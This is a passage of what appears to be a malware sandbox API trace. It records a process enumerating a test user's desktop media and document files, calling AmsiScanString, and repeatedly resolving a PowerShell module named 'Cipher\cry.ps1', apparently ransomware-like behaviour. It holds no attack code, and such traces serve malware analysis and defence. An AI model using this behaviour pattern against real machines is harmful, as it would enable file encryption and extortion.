hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0115.605] FindClose (in: hFindFile=0x8e85238 | out: hFindFile=0x8e85238) returned 1 [0115.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0115.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0115.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0115.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0115.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0115.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0115.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0115.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\", lpFilePart=0x0) returned 0x41 [0115.605] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e857f8 [0115.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0115.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0115.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\", lpFilePart=0x0) returned 0x41 [0115.606] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e855b8 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0115.607] FindClose (in: hFindFile=0x8e857f8 | out: hFindFile=0x8e857f8) returned 1 [0115.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0115.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\T62UUabE33D_fa9Ub.odt", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\T62UUabE33D_fa9Ub.odt", lpFilePart=0x0) returned 0x56 [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\TjWUff51.swf", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\TjWUff51.swf", lpFilePart=0x0) returned 0x4d [0115.607] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0115.607] FindClose (in: hFindFile=0x8e855b8 | out: hFindFile=0x8e855b8) returned 1 [0115.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0115.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0115.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0115.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0115.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0115.792] CoCreateGuid (in: pguid=0x99ae904 | out: pguid=0x99ae904*(Data1=0xe9238387, Data2=0x1e1c, Data3=0x4b05, Data4=([0]=0xae, [1]=0xd, [2]=0x3c, [3]=0xcb, [4]=0x22, [5]=0xee, [6]=0x89, [7]=0xca))) returned 0x0 [0115.793] CoCreateGuid (in: pguid=0x99ae904 | out: pguid=0x99ae904*(Data1=0x25ecbb1b, Data2=0x5fd8, Data3=0x48e5, Data4=([0]=0x8b, [1]=0xe1, [2]=0x3, [3]=0x8e, [4]=0xa5, [5]=0xe5, [6]=0x99, [7]=0xe1))) returned 0x0 [0115.793] CoCreateGuid (in: pguid=0x99ae904 | out: pguid=0x99ae904*(Data1=0xf1be9915, Data2=0xa94b, Data3=0x4371, Data4=([0]=0xba, [1]=0xa3, [2]=0x66, [3]=0xab, [4]=0x14, [5]=0xfc, [6]=0x38, [7]=0x88))) returned 0x0 [0115.793] CoCreateGuid (in: pguid=0x99ae904 | out: pguid=0x99ae904*(Data1=0x7b1686c1, Data2=0x45a8, Data3=0x4be0, Data4=([0]=0xb0, [1]=0x81, [2]=0xe, [3]=0xca, [4]=0x22, [5]=0xd8, [6]=0x7c, [7]=0x6d))) returned 0x0 [0115.802] AmsiScanString () returned 0x80070015 [0115.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0116.136] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0116.136] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0116.136] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0116.136] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.136] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0116.137] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0116.137] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0116.137] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0116.137] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.137] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0116.138] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\T62UUabE33D_fa9Ub.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\t62uuabe33d_fa9ub.odt")) returned 0x20 [0116.138] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\TjWUff51.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\tjwuff51.swf")) returned 0x20 [0116.138] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0116.138] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0116.138] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", nBufferLength=0x105, lpBuffer=0x99ae630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0116.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.138] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0116.138] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\", lpFilePart=0x0) returned 0x40 [0116.138] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e85538 [0116.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.139] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0116.139] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\", lpFilePart=0x0) returned 0x40 [0116.139] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e856b8 [0116.139] FindNextFileW (in: hFindFile=0x8e85538, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.139] FindNextFileW (in: hFindFile=0x8e85538, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.139] FindNextFileW (in: hFindFile=0x8e85538, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.139] FindNextFileW (in: hFindFile=0x8e85538, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.140] FindNextFileW (in: hFindFile=0x8e85538, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.140] FindClose (in: hFindFile=0x8e85538 | out: hFindFile=0x8e85538) returned 1 [0116.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.140] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.140] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.140] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0116.140] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.141] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\Pbf67AF3wKHbI.m4a", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\Pbf67AF3wKHbI.m4a", lpFilePart=0x0) returned 0x51 [0116.141] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.141] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0116.141] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.141] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.141] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0116.141] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0116.142] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0116.142] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.142] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0116.142] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\Pbf67AF3wKHbI.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\pbf67af3wkhbi.m4a")) returned 0x20 [0116.142] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0116.142] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0116.143] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0116.143] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.143] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0116.143] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 